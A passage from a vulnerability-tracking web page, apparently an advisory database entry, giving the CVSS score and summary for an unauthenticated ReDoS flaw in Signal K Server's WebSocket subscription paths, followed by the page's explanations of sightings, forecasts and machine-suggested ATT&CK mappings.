"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Signal K Server has an Unauthenticated Regular Expression Denial of Service (ReDoS) via WebSocket Subscription Paths"
}
Loading…
Loading…
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.